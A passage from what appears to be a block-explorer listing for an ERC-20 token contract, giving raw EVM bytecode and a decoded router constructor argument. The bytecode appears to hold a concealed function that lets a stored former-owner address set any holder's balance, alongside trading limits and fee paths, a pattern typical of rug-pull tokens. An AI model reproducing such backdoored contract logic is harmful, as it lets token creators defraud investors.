ffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f525750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f875760006064600b5483610f699190612451565b610f7391906124da565b9050610f81848484846115e6565b50610f94565b5b610f938383836118e1565b5b505050565b610fa1610ad0565b73ffffffffffffffffffffffffffffffffffffffff16610fbf6106f9565b73ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90612557565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f4906125c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125f8565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125f8565b6040518363ffffffff1660e01b81526004016114ae929190612625565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125f8565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e157600954816115938461069c565b61159d9190611fc0565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d59061269a565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906123c5565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061272c565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611f8c565b925081600460008282546117b19190611f8c565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118079190611fc0565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611d2f565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611d2f565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b6906123c5565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061272c565b60405180910390fd5b8181611a529190611f8c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae49190611fc0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611d2f565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b90578082015181840152602081019050611b75565b83811115611b9f576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bc182611b56565b611bcb8185611b61565b9350611bdb818560208601611b72565b611be481611ba5565b840191505092915050565b60006020820190508181036000830152611c098184611bb6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c4182611c16565b9050919050565b611c5181611c36565b8114611c5c57600080fd5b50565b600081359050611c6e81611c48565b92915050565b6000819050919050565b611c8781611c74565b8114611c9257600080fd5b50565b600081359050611ca481611c7e565b92915050565b60008060408385031215611cc157611cc0611c11565b5b6000611ccf85828601611c5f565b9250506020611ce085828601611c95565b9150509250929050565b60008115159050919050565b611cff81611cea565b82525050565b6000602082019050611d1a6000830184611cf6565b92915050565b611d2981611c74565b82525050565b6000602082019050611d446000830184611d20565b92915050565b600080600060608486031215611d6357611d62611c11565b5b6000611d7186828701611c5f565b9350506020611d8286828701611c5f565b9250506040611d9386828701611c95565b9150509250925092565b600060ff82169050919050565b611db381611d9d565b82525050565b6000602082019050611dce6000830184611daa565b92915050565b600060208284031215611dea57611de9611c11565b5b6000611df884828501611c5f565b91505092915050565b611e0a81611c36565b82525050565b6000602082019050611e256000830184611e01565b92915050565b60008060408385031215611e4257611e41611c11565b5b6000611e5085828601611c5f565b9250506020611e6185828601611c5f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611eb257607f821691505b602082108103611ec557611ec4611e6b565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f27602883611b61565b9150611f3282611ecb565b604082019050919050565b60006020820190508181036000830152611f5681611f1a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f9782611c74565b9150611fa283611c74565b925082821015611fb557611fb4611f5d565b5b828203905092915050565b6000611fcb82611c74565b9150611fd683611c74565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561200b5761200a611f5d565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612072602583611b61565b915061207d82612016565b604082019050919050565b600060208201905081810360008301526120a181612065565b9050919050565b60008160601b9050919050565b60006120c0826120a8565b9050919050565b60006120d2826120b5565b9050919050565b6120ea6120e582611c36565b6120c7565b82525050565b60006120fc82846120d9565b60148201915081905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612167602683611b61565b91506121728261210b565b604082019050919050565b600060208201905081810360008301526121968161215a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121f9602483611b61565b91506122048261219d565b604082019050919050565b60006020820190508181036000830152612228816121ec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061228b602283611b61565b91506122968261222f565b604082019050919050565b600060208201905081810360008301526122ba8161227e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061231d602583611b61565b9150612328826122c1565b604082019050919050565b6000602082019050818103600083015261234c81612310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123af602383611b61565b91506123ba82612353565b604082019050919050565b600060208201905081810360008301526123de816123a2565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b600061241b601f83611b61565b9150612426826123e5565b602082019050919050565b6000602082019050818103600083015261244a8161240e565b9050919050565b600061245c82611c74565b915061246783611c74565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a05761249f611f5d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124e582611c74565b91506124f083611c74565b925082612500576124ff6124ab565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612541602083611b61565b915061254c8261250b565b602082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b60006125ad601283611b61565b91506125b882612577565b602082019050919050565b600060208201905081810360008301526125dc816125a0565b9050919050565b6000815190506125f281611c48565b92915050565b60006020828403121561260e5761260d611c11565b5b600061261c848285016125e3565b91505092915050565b600060408201905061263a6000830185611e01565b6126476020830184611e01565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612684601883611b61565b915061268f8261264e565b602082019050919050565b600060208201905081810360008301526126b381612677565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612716602683611b61565b9150612721826126ba565b604082019050919050565b6000602082019050818103600083015261274581612709565b905091905056fea26469706673582212205151dd26fe183b57138c349a2a610e1426a21edc22839bef2948fc689ce1999b64736f6c634300080f00330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063ba4ea41111610071578063ba4ea41114610349578063c5feed6d14610367578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b80638da5cb5b1461027d57806395d89b411461029b57806398636f32146102b9578063a457c2d7146102e9578063a9059cbb146103195761012c565b806339509351116100f457806339509351146101eb5780635f6c6c221461021b578063622565891461023957806370a0823114610243578063715018a6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610401565b6040516101469190611bef565b60405180910390f35b61016960048036038101906101649190611caa565b610493565b6040516101769190611d05565b60405180910390f35b6101876104b1565b6040516101949190611d2f565b60405180910390f35b6101b760048036038101906101b29190611d4a565b6104bb565b6040516101c49190611d05565b60405180910390f35b6101d56105bc565b6040516101e29190611db9565b60405180910390f35b61020560048036038101906102009190611caa565b6105c5565b6040516102129190611d05565b60405180910390f35b610223610671565b6040516102309190611d2f565b60405180910390f35b610241610677565b005b61025d60048036038101906102589190611dd4565b61069c565b60405161026a9190611d2f565b60405180910390f35b61027b6106e5565b005b6102856106f9565b6040516102929190611e10565b60405180910390f35b6102a3610722565b6040516102b09190611bef565b60405180910390f35b6102d360048036038101906102ce9190611dd4565b6107b4565b6040516102e09190611d05565b60405180910390f35b61030360048036038101906102fe9190611caa565b6107d4565b6040516103109190611d05565b60405180910390f35b610333600480360381019061032e9190611caa565b6108c8565b6040516103409190611d05565b60405180910390f35b6103516108e6565b60405161035e9190611d2f565b60405180910390f35b610381600480360381019061037c9190611caa565b6108ec565b60405161038e9190611d2f565b60405180910390f35b6103b160048036038101906103ac9190611e2b565b6109b3565b6040516103be9190611d2f565b60405180910390f35b6103e160048036038101906103dc9190611dd4565b610a3a565b005b6103eb610abd565b6040516103f89190611d05565b60405180910390f35b60606005805461041090611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611e9a565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad0565b8484610ad8565b6001905092915050565b6000600454905090565b60006104c8848484610ca1565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90611f3d565b60405180910390fd5b6105b08561059f610ad0565b85846105ab9190611f8c565b610ad8565b60019150509392505050565b60006009905090565b60006106676105d2610ad0565b8484600360006105e0610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106629190611fc0565b610ad8565b6001905092915050565b60085481565b61067f610f99565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed610f99565b6106f76000611017565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461073190611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461075d90611e9a565b80156107aa5780601f1061077f576101008083540402835291602001916107aa565b820191906000526020600020905b81548152906001019060200180831161078d57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006107e3610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612088565b60405180910390fd5b6108bd6108ab610ad0565b8585846108b89190611f8c565b610ad8565b600191505092915050565b60006108dc6108d5610ad0565b8484610ca1565b6001905092915050565b60095481565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008260405160200161092c91906120f0565b60405160208183030381529060405280519060200120905060008260405160200161095791906120f0565b60405160208183030381529060405280519060200120905060008660001b905060008284149050801561099b5761098e898361111c565b96505050505050506109ad565b6109a4896111b2565b96505050505050505b92915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42610f99565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061217d565b60405180910390fd5b610aba81611017565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e9061220f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad906122a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c949190611d2f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d76906123c5565b60405180910390fd5b610d8a8383836111fb565b6000810315610f9457600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e375750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f88576000610e69600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661069c565b14610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612431565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f525750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f875760006064600b5483610f699190612451565b610f7391906124da565b9050610f81848484846115e6565b50610f94565b5b610f938383836118e1565b5b505050565b610fa1610ad0565b73ffffffffffffffffffffffffffffffffffffffff16610fbf6106f9565b73ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90612557565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f4906125c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125f8565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125f8565b6040518363ffffffff1660e01b81526004016114ae929190612625565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125f8565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e157600954816115938461069c565b61159d9190611fc0565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d59061269a565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906123c5565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061272c565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611f8c565b925081600460008282546117b19190611f8c565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118079190611fc0565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611d2f565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611d2f565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b6906123c5565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061272c565b60405180910390fd5b8181611a529190611f8c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae49190611fc0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611d2f565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b90578082015181840152602081019050611b75565b83811115611b9f576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bc182611b56565b611bcb8185611b61565b9350611bdb818560208601611b72565b611be481611ba5565b840191505092915050565b60006020820190508181036000830152611c098184611bb6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c4182611c16565b9050919050565b611c5181611c36565b8114611c5c57600080fd5b50565b600081359050611c6e81611c48565b92915050565b6000819050919050565b611c8781611c74565b8114611c9257600080fd5b50565b600081359050611ca481611c7e565b92915050565b60008060408385031215611cc157611cc0611c11565b5b6000611ccf85828601611c5f565b9250506020611ce085828601611c95565b9150509250929050565b60008115159050919050565b611cff81611cea565b82525050565b6000602082019050611d1a6000830184611cf6565b92915050565b611d2981611c74565b82525050565b6000602082019050611d446000830184611d20565b92915050565b600080600060608486031215611d6357611d62611c11565b5b6000611d7186828701611c5f565b9350506020611d8286828701611c5f565b9250506040611d9386828701611c95565b9150509250925092565b600060ff82169050919050565b611db381611d9d565b82525050565b6000602082019050611dce6000830184611daa565b92915050565b600060208284031215611dea57611de9611c11565b5b6000611df884828501611c5f565b91505092915050565b611e0a81611c36565b82525050565b6000602082019050611e256000830184611e01565b92915050565b60008060408385031215611e4257611e41611c11565b5b6000611e5085828601611c5f565b9250506020611e6185828601611c5f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611eb257607f821691505b602082108103611ec557611ec4611e6b565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f27602883611b61565b9150611f3282611ecb565b604082019050919050565b60006020820190508181036000830152611f5681611f1a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f9782611c74565b9150611fa283611c74565b925082821015611fb557611fb4611f5d565b5b828203905092915050565b6000611fcb82611c74565b9150611fd683611c74565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561200b5761200a611f5d565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612072602583611b61565b915061207d82612016565b604082019050919050565b600060208201905081810360008301526120a181612065565b9050919050565b60008160601b9050919050565b60006120c0826120a8565b9050919050565b60006120d2826120b5565b9050919050565b6120ea6120e582611c36565b6120c7565b82525050565b60006120fc82846120d9565b60148201915081905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612167602683611b61565b91506121728261210b565b604082019050919050565b600060208201905081810360008301526121968161215a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121f9602483611b61565b91506122048261219d565b604082019050919050565b60006020820190508181036000830152612228816121ec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061228b602283611b61565b91506122968261222f565b604082019050919050565b600060208201905081810360008301526122ba8161227e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061231d602583611b61565b9150612328826122c1565b604082019050919050565b6000602082019050818103600083015261234c81612310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123af602383611b61565b91506123ba82612353565b604082019050919050565b600060208201905081810360008301526123de816123a2565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b600061241b601f83611b61565b9150612426826123e5565b602082019050919050565b6000602082019050818103600083015261244a8161240e565b9050919050565b600061245c82611c74565b915061246783611c74565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a05761249f611f5d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124e582611c74565b91506124f083611c74565b925082612500576124ff6124ab565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612541602083611b61565b915061254c8261250b565b602082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b60006125ad601283611b61565b91506125b882612577565b602082019050919050565b600060208201905081810360008301526125dc816125a0565b9050919050565b6000815190506125f281611c48565b92915050565b60006020828403121561260e5761260d611c11565b5b600061261c848285016125e3565b91505092915050565b600060408201905061263a6000830185611e01565b6126476020830184611e01565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612684601883611b61565b915061268f8261264e565b602082019050919050565b600060208201905081810360008301526126b381612677565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612716602683611b61565b9150612721826126ba565b604082019050919050565b6000602082019050818103600083015261274581612709565b905091905056fea26469706673582212205151dd26fe183b57138c349a2a610e1426a21edc22839bef2948fc689ce1999b64736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

